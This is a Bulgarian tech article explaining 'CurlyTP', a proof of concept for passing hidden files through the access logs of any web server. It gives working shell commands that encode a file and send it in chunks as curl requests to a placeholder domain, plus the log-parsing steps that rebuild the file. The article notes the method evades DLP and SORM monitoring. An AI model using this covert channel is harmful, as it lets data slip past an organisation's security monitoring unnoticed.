Съгласно определението в Уикипедия, тайник (dead drop) е инструмент за конспирация, който служи за обмен на информация или предмети между хора, използващи тайно местоположение. Същността е, че хората никога не се срещат, но все пак обменят информация, поддържайки оперативна безопасност.

Тайникът не трябва да привлича внимание. Затова в офлайн света често се използват непривлекателни неща: свободен тухла в стената, библиотечна книга или дупка в дървото.

В интернет има много инструменти за шифриране и анонимизиране, но самият факт на използването на тези инструменти привлича внимание. Освен това, те могат да бъдат блокирани на корпоративно или правителствено ниво. Какво да правим?

Разработчикът Райън Флауърс предложи интересен вариант — да използваме всеки уеб сървър като тайник. Ако помислим, какво прави уеб сървърът? Приема заявки, предоставя файлове и записва лог. И той записва в лога всички заявки, включително некоректни!

Получава се, че всеки уеб сървър позволява да се запази в лога почти произволно съобщение. Флауърс обмисли как да се възползва от това.

Той предлага следния вариант:

Взимаме текстов файл (тайно съобщение) и изчисляваме хеш (md5sum).
Кодиране (gzip+uuencode).
Записваме в лога чрез съзнателно некоректна заявка към сървъра.

Local:
[root@local ~]# md5sum g.txt
a8be1b6b67615307e6af8529c2f356c4 g.txt

[root@local ~]# gzip g.txt
[root@local ~]# uuencode g.txt > g.txt.uue
[root@local ~]# IFS=$'n' ;for x in `cat g.txt.uue| sed 's/ /+=/g'` ; do echo curl -s "http://domain.com?transfer?g.txt.uue?$x" ;done | sh

За четене на файла е необходимо да се извършат тези операции в обратен ред: декодиране и разархивиране на файла, проверка на хеша (хеш може безопасно да се предаде по открити канали).

Пробелите се заменят с =+=, за да няма пробели в адреса. Програмата, която авторът нарече CurlyTP, използва кодиране base64, както в прикачените файлове на електронна поща. Запитването се прави с ключова дума ?transfer?, за да може получателят лесно да го намери в логовете.

Какво виждаме в логовете в такъв случай?

1.2.3.4 - - [22/Aug/2019:21:12:00 -0400] "GET /?transfer?g.gz.uue?begin-base64=+=644=+=g.gz.uue HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:01 -0400] "GET /?transfer?g.gz.uue?H4sICLxRC1sAA2dpYnNvbi50eHQA7Z1dU9s4FIbv8yt0w+wNpISEdstdgOne HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:03 -0400] "GET /?transfer?g.gz.uue?sDvdDW0vmWNZiQWy5JXkZMyv32MnAVNgQZCOnfhkhhkY61vv8+rDijgFfpNn HTTP/1.1" 200 4050 "-" "curl/7.29.0"

Както вече беше споменато, за да получите секретното съобщение, трябва да извършите операциите в обратен ред:

Дистанционен компютър

[root@server /home/domain/logs]# grep transfer access_log | grep 21:12| awk '{ print $7 }' | cut -d? -f4 | sed 's/=+=/ /g' > g.txt.gz.uue
[root@server /home/domain/logs]# uudecode g.txt.gz.uue

[root@server /home/domain/logs]# mv g.txt.gz.uue g.txt.gz
[root@server /home/domain/logs]# gunzip g.txt.gz
[root@server /home/domain/logs]# md5sum g
a8be1b6b67615307e6af8529c2f356c4 g

Процесът лесно може да бъде автоматизиран. Md5sum съвпада и съдържанието на файла потвърдява, че всичко е декодирано правилно.

Методът е много прост. „Смисълът на това упражнение е само да докаже, че файлове могат да се предават чрез невинни малки уеб заявки и това работи на всеки уеб сървър с обикновени текстови логове. По същество, всеки уеб сървър е тайник!“, пише Флауърс.

Разбира се, методът работи само ако получателят има достъп до сървърните логове. Но такъв достъп осигуряват, например, много хостинг компании.

Как да се използва това?

Раян Флауърс казва, че не е експерт по информационна сигурност и няма да изготвя списък с възможни приложения на CurlyTP. За него това е просто доказателство за концепцията, че обикновените инструменти, които виждаме ежедневно, могат да се използват по нетрадиционен начин.

Всъщност този метод има редица предимства пред другите сървърни „тайници“, като Digital Dead Drop или PirateBox: не изисква специална настройка на сървъра или някакви специални протоколи — и няма да предизвика подозрения у тези, които следят трафика. Вряд ли СОРМ или DLP системата ще сканират URL адресите за компресирани текстови файлове.

Това е един от начините за предаване на съобщения чрез служебни файлове. Можем да се сетим как някои напреднали компании преди време поставяха обяви за работа за разработчици в заглавията на HTTP или в кода на HTML страниците.

Идеята беше, че такава „пасхалка“ ще бъде забелязана само от уеб разработчици, тъй като нормалният човек не би прегледал заглавията или кода на HTML.